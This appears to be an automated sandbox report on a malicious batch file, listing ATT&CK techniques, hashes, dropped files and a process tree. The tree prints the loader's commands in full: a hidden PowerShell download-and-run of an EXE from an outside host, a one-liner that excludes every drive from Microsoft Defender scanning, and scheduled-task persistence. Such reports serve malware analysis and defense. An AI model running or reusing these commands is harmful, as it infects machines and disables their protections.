4be2c632a75151c4702bd0900869729aa16b0bbc5f81465514736582b0e90923

Analysis

user interaction
yes
max time kernel
16s
max time network
18s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
09/08/2026, 08:20

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
test.bat
Size 281B
Sample260809-j8fpdsxvds
SHA256 4be2c632a75151c4702bd0900869729aa16b0bbc5f81465514736582b0e90923
MD5 a74f52d6729b12e50eb97aa5b49023bb
SHA1 00e3c434b00b87276ed11104013046ec8304c9cd
SHA512 c9b8d8f2a1efc0b9cdb2f8168b580f247078bdc1534f25beb83693d7071166959fea61ba3a7ef92060da19a452c9de455b8adc4423c0eface5e405a1840fe0f4
TLSH
T1FAD0C29B01BE122BCEBECAB890D822009A8F75481B95141212646511A94206BA7D94D8
MD5 SHA1 SHA512 TLSH

Score

8^/10

defense_evasion execution persistence

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
8	1972	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1972	powershell.exe
4032	powershell.exe
1664	powershell.exe

Downloads MZ/PE file 1 IoCs

flow	pid	Process
8	1972	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
648	BK942369.exe
3716	BK942369.exe

Prevents Microsoft Defender from scanning certain paths by adding an exclusion. 2 TTPs 2 IoCs

Uses the Powershell Add-MpPreference cmdlet to exclude paths from being scanned by Microsoft Defender.

defense_evasion

File/Path Exclusions

T1564.012

Disable or Modify Tools

T1562.001

pid	Process
4016	cmd.exe
2360	cmd.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BK942369 = "C:\\Users\\Admin\\AppData\\Roaming\\BK942369.exe"	BK942369.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-876885714-46325919-1482798410-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\BK942369 = "C:\\Users\\Admin\\AppData\\Roaming\\BK942369.exe"	BK942369.exe

Checks system information in the registry 2 TTPs 4 IoCs

System information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	BK942369.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	BK942369.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemProductName	BK942369.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\SystemInformation\SystemManufacturer	BK942369.exe

Hide Artifacts: Ignore Process Interrupts 1 TTPs 2 IoCs

Command interpreters often include specific commands/flags that ignore errors and other hangups.

defense_evasion

Ignore Process Interrupts

T1564.011

pid	Process
4016	cmd.exe
2360	cmd.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4544	cmd.exe
1740	cmd.exe
1080	cmd.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2528	schtasks.exe
3240	schtasks.exe

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
1972	powershell.exe
1972	powershell.exe
4032	powershell.exe
4032	powershell.exe
1664	powershell.exe
1664	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	1972	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe
Token: SeDebugPrivilege	1664	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 4544 wrote to memory of 1740	4544	cmd.exe	89
PID 1740 wrote to memory of 1080	1740	cmd.exe	90
PID 1080 wrote to memory of 1972	1080	cmd.exe	92
PID 1972 wrote to memory of 648	1972	powershell.exe	93
PID 648 wrote to memory of 4016	648	BK942369.exe	94
PID 4016 wrote to memory of 4352	4016	cmd.exe	96
PID 4016 wrote to memory of 4032	4016	cmd.exe	97
PID 648 wrote to memory of 2528	648	BK942369.exe	98
PID 3716 wrote to memory of 2360	3716	BK942369.exe	102
PID 2360 wrote to memory of 3812	2360	cmd.exe	104
PID 2360 wrote to memory of 1664	2360	cmd.exe	105
PID 3716 wrote to memory of 3240	3716	BK942369.exe	106

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\test.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4544
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:1740
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:1080
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://freemasonry.dev/dl/0d22b5b683d625fb1029a0ea00cec302/raw' -OutFile $env:APPDATA\BK942369.exe; Start-Process -FilePath $env:APPDATA\BK942369.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Downloads MZ/PE file
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:1972
    - - C:\Users\Admin\AppData\Roaming\BK942369.exe
        
        "C:\Users\Admin\AppData\Roaming\BK942369.exe"
        5⤵
        Executes dropped EXE
        Adds Run key to start application
        Checks system information in the registry
        Suspicious use of WriteProcessMemory
        
        PID:648
      - C:\Windows\SYSTEM32\cmd.exe
        
        cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        6⤵
        Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
        Hide Artifacts: Ignore Process Interrupts
        Suspicious use of WriteProcessMemory
        
        PID:4016
        
        C:\Windows\system32\chcp.com
        
        chcp 65001
        7⤵
        
        PID:4352
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:4032
      - C:\Windows\SYSTEM32\schtasks.exe
        
        schtasks.exe /create /f /sc minute /mo 1 /tn "BK942369" /tr "C:\Users\Admin\AppData\Roaming\BK942369.exe"
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2528

C:\Users\Admin\AppData\Roaming\BK942369.exe
C:\Users\Admin\AppData\Roaming\BK942369.exe
1⤵
- Executes dropped EXE
- Adds Run key to start application
- Checks system information in the registry
- Suspicious use of WriteProcessMemory
PID:3716
- C:\Windows\system32\cmd.exe
  cmd.exe /c chcp 65001 >nul && powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
  2⤵
  - Prevents Microsoft Defender from scanning certain paths by adding an exclusion.
  - Hide Artifacts: Ignore Process Interrupts
  - Suspicious use of WriteProcessMemory
  PID:2360
- - C:\Windows\system32\chcp.com
    chcp 65001
    3⤵
    PID:3812
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -Command "Get-PSDrive -PSProvider FileSystem|Where-Object{$_.Root -match '^[A-Z]:\\' -and (Test-Path $_.Root)}|ForEach-Object{Add-MpPreference -ExclusionPath $_.Root -ErrorAction SilentlyContinue}"
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1664
- C:\Windows\system32\schtasks.exe
  schtasks.exe /create /f /sc minute /mo 1 /tn "BK942369" /tr "C:\Users\Admin\AppData\Roaming\BK942369.exe"
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:3240

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

Hide Artifacts

T1564

File/Path Exclusions

T1564.012

Ignore Process Interrupts

T1564.011

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 88cc4f40f0eb08ff5c487d6db341b046cc63b22534980aca66a9f8480692f3a8
MD5 556084f2c6d459c116a69d6fedcc4105
SHA1 633e89b9a1e77942d822d14de6708430a3944dbc
SHA512 0f6557027b098e45556af93e0be1db9a49c6416dc4afcff2cc2135a8a1ad4f1cf7185541ddbe6c768aefaf2c1a8e52d5282a538d15822d19932f22316edd283e
TLSH
T1BF610E323375B1D4C9567F072E2819C053BF8396EA94AF5CB29C621ED92641B8F122F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 7c8c888e59afb4857abfa24889f43487c823e59dbb1f5d6c8ed75ae1e5f6412b
MD5 d7ea7853c564b7fa3cd8568dbf93dafa
SHA1 ebf5606d541d3cf3d307c96cb66eb8547c68d8fe
SHA512 db1eb626f0639f042577f6f2d78cd0f3227827d80d269bee23854a10d61f15dcbb25c5655e85365a824f506a877067006cb283e4d29a06425e45ba93e3f39e46
TLSH
T178215627B39C8921CC86163A109D9C1176B683C7819EDF9F6BC4D614A07F999CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 1370ee11a18ec070f3f9e74d259299e37db594716b50371b3dd167a63056b9b1
MD5 1ccfe27ba9b4806206bbd6899abe5e53
SHA1 4c6ba690dcdf9e1d61d024830f584185ad90e90f
SHA512 6c5c2bb5af5e5de5f3f48de39a3db3a15d8307c5a2aa241671e71a55c1d3ccf14dda0ad3d71513c96be4d20adccd665d4217cae3721260a79e19fbe693084f11
TLSH
T145215233B3DC89A2CC8A163A108D9C1176A682C7919EDFDF6BC0C211A5BF594CB61290
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_o3hwz0fr.n0m.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o3hwz0fr.n0m.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

~msnDEV-3f5e239a273bfccb.tmp

Path C:\Users\Admin\AppData\Local\Temp\~msnDEV-3f5e239a273bfccb.tmp
Size 4B
SHA256 ab397091cc94efc56e5472b2e1a70574b02f78fb65e414e5978f99c49bde920f
MD5 e113a878a3dc80f37dab10da55b1d88a
SHA1 6308e32dc68bd53112d969186dfbad5bb0cc776a
SHA512 d566f0af09338ed4c618b198c79ada9b8f1c1c6c7909a677e44f9c2232b3ffb5681489243bff1bf1ebaeaf18d508e8efc7b3e0417e21786cc0b0f48645d5c9de
MD5 SHA1 SHA512

Submit Download

BK942369.exe

Path C:\Users\Admin\AppData\Roaming\BK942369.exe
Size 60KB
SHA256 8257ea5982473d81d71ed2abf2a8357f4be572978c943f23ef0a30cffc7f5090
MD5 56b88038c5c4fec87d9133358318fbef
SHA1 6aadc42c55535be0eab12f707fec9d14ace6ef3a
SHA512 d25ef6bddb1fa5b8d45ff91b7b42ee8ddc125c294bb88a51b73fb391f3f562c89be080737fe41ad279819fcfdebd2be04d618bb4febd424c4f8be393019aa291
SSDEEP 1536:wYvxrhs3z558JPDCkRNLT8vJ0xXjmJZo:wAxNsoh9RhiJVP
TLSH
T1CD53090AF39364ECD51BC67446EB6773BA32BD6511319F3E0394E6302E50E60AE79B24
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/648-36-0x00007FF7494F0000-0x00007FF749509000-memory.dmp

Download

memory/1972-0-0x000002A0798F0000-0x000002A079900000-memory.dmp

Download

memory/1972-1-0x000002A0798F0000-0x000002A079900000-memory.dmp

Download

memory/1972-2-0x000002A079940000-0x000002A079962000-memory.dmp

Download

memory/3716-47-0x0000000254000000-0x000000025405A000-memory.dmp

Download

memory/3716-58-0x00007FF7494F0000-0x00007FF749509000-memory.dmp

Download